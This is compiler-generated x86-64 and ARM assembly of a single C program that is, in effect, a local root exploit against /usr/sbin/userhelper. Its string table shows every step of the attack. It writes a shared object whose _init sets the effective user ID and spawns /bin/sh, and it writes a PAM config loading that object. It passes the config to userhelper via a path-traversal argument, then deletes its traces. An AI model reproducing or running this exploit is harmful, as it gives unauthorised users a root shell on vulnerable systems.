	.file	"extr_19710.c_main.c"
	.intel_syntax noprefix
	.text
	.section	.rodata.str1.1,"aMS",@progbits,1
.LC0:
	.string	"vi test.txt"
.LC1:
	.string	"a"
.LC2:
	.string	"abc.c"
.LC3:
	.string	"#include<stdlib.h>\n"
.LC4:
	.string	"#include<unistd.h>\n"
.LC5:
	.string	"#include<sys/types.h>\n"
.LC6:
	.string	"void _init(void) {\n"
.LC7:
	.string	"\tsetuid(geteuid());\n"
.LC8:
	.string	"\tsystem(\"/bin/sh\");\n"
.LC9:
	.string	"}"
	.section	.rodata.str1.8,"aMS",@progbits,1
	.align 8
.LC10:
	.string	"echo -e auth\trequired\t$PWD/abc.so > abc.conf"
	.section	.rodata.str1.1
.LC11:
	.string	"chmod 755 abc.conf"
.LC12:
	.string	"gcc -fPIC -o abc.o -c abc.c"
.LC13:
	.string	"ld -shared -o abc.so abc.o"
.LC14:
	.string	"chmod 755 abc.so"
	.section	.rodata.str1.8
	.align 8
.LC15:
	.string	"/usr/sbin/userhelper -w ../../..$PWD/abc.conf"
	.section	.rodata.str1.1
.LC16:
	.string	"rm -rf abc.*"
	.section	.text.startup,"ax",@progbits
	.p2align 4
	.globl	main
	.type	main, @function
main:
.LFB0:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	r8, rsi
	lea	rsi, .LC0[rip]
	mov	rdi, QWORD PTR [r8]
	call	strcpy@PLT
	lea	rsi, .LC1[rip]
	lea	rdi, .LC2[rip]
	call	fopen@PLT
	lea	rsi, .LC3[rip]
	mov	rbp, rax
	mov	rdi, rax
	call	fprintf@PLT
	mov	rdi, rbp
	lea	rsi, .LC4[rip]
	call	fprintf@PLT
	mov	rdi, rbp
	lea	rsi, .LC5[rip]
	call	fprintf@PLT
	mov	rdi, rbp
	lea	rsi, .LC6[rip]
	call	fprintf@PLT
	mov	rdi, rbp
	lea	rsi, .LC7[rip]
	call	fprintf@PLT
	mov	rdi, rbp
	lea	rsi, .LC8[rip]
	call	fprintf@PLT
	lea	rsi, .LC9[rip]
	mov	rdi, rbp
	call	fprintf@PLT
	mov	rdi, rbp
	call	fclose@PLT
	lea	rdi, .LC10[rip]
	call	system@PLT
	lea	rdi, .LC11[rip]
	call	system@PLT
	lea	rdi, .LC12[rip]
	call	system@PLT
	lea	rdi, .LC13[rip]
	call	system@PLT
	lea	rdi, .LC14[rip]
	call	system@PLT
	lea	rdi, .LC15[rip]
	call	system@PLT
	lea	rdi, .LC16[rip]
	call	system@PLT
	xor	eax, eax
	pop	rbp
	.cfi_def_cfa_offset 8
	ret
	.cfi_endproc
.LFE0:
	.size	main, .-main
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	 1f - 0f
	.long	 4f - 1f
	.long	 5
0:
	.string	 "GNU"
1:
	.align 8
	.long	 0xc0000002
	.long	 3f - 2f
2:
	.long	 0x3
3:
	.align 8
4:

	.arch armv5t
	.eabi_attribute 20, 1
	.eabi_attribute 21, 1
	.eabi_attribute 23, 3
	.eabi_attribute 24, 1
	.eabi_attribute 25, 1
	.eabi_attribute 26, 2
	.eabi_attribute 30, 2
	.eabi_attribute 34, 0
	.eabi_attribute 18, 4
	.file	"extr_19710.c_main.c"
	.text
	.section	.rodata.str1.4,"aMS",%progbits,1
	.align	2
.LC0:
	.ascii	"vi test.txt\000"
	.align	2
.LC1:
	.ascii	"a\000"
	.align	2
.LC2:
	.ascii	"abc.c\000"
	.align	2
.LC3:
	.ascii	"#include<stdlib.h>\012\000"
	.align	2
.LC4:
	.ascii	"#include<unistd.h>\012\000"
	.align	2
.LC5:
	.ascii	"#include<sys/types.h>\012\000"
	.align	2
.LC6:
	.ascii	"void _init(void) {\012\000"
	.align	2
.LC7:
	.ascii	"\011setuid(geteuid());\012\000"
	.align	2
.LC8:
	.ascii	"\011system(\"/bin/sh\");\012\000"
	.align	2
.LC9:
	.ascii	"}\000"
	.align	2
.LC10:
	.ascii	"echo -e auth\011required\011$PWD/abc.so > abc.conf\000"
	.align	2
.LC11:
	.ascii	"chmod 755 abc.conf\000"
	.align	2
.LC12:
	.ascii	"gcc -fPIC -o abc.o -c abc.c\000"
	.align	2
.LC13:
	.ascii	"ld -shared -o abc.so abc.o\000"
	.align	2
.LC14:
	.ascii	"chmod 755 abc.so\000"
	.align	2
.LC15:
	.ascii	"/usr/sbin/userhelper -w ../../..$PWD/abc.conf\000"
	.align	2
.LC16:
	.ascii	"rm -rf abc.*\000"
	.section	.text.startup,"ax",%progbits
	.align	2
	.global	main
	.syntax unified
	.arm
	.fpu softvfp
	.type	main, %function
main:
	@ args = 0, pretend = 0, frame = 0
	@ frame_needed = 0, uses_anonymous_args = 0
	push	{r4, lr}
	mov	r2, #12
	ldr	r0, [r1]
	ldr	r1, .L4
	bl	memcpy
	ldr	r1, .L4+4
	ldr	r0, .L4+8
	bl	fopen
	mov	r4, r0
	ldr	r1, .L4+12
	bl	fprintf
	mov	r0, r4
	ldr	r1, .L4+16
	bl	fprintf
	mov	r0, r4
	ldr	r1, .L4+20
	bl	fprintf
	mov	r0, r4
	ldr	r1, .L4+24
	bl	fprintf
	mov	r0, r4
	ldr	r1, .L4+28
	bl	fprintf
	mov	r0, r4
	ldr	r1, .L4+32
	bl	fprintf
	ldr	r1, .L4+36
	mov	r0, r4
	bl	fprintf
	mov	r0, r4
	bl	fclose
	ldr	r0, .L4+40
	bl	system
	ldr	r0, .L4+44
	bl	system
	ldr	r0, .L4+48
	bl	system
	ldr	r0, .L4+52
	bl	system
	ldr	r0, .L4+56
	bl	system
	ldr	r0, .L4+60
	bl	system
	ldr	r0, .L4+64
	bl	system
	mov	r0, #0
	pop	{r4, pc}
.L5:
	.align	2
.L4:
	.word	.LC0
	.word	.LC1
	.word	.LC2
	.word	.LC3
	.word	.LC4
	.word	.LC5
	.word	.LC6
	.word	.LC7
	.word	.LC8
	.word	.LC9
	.word	.LC10
	.word	.LC11
	.word	.LC12
	.word	.LC13
	.word	.LC14
	.word	.LC15
	.word	.LC16
	.size	main, .-main
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",%progbits
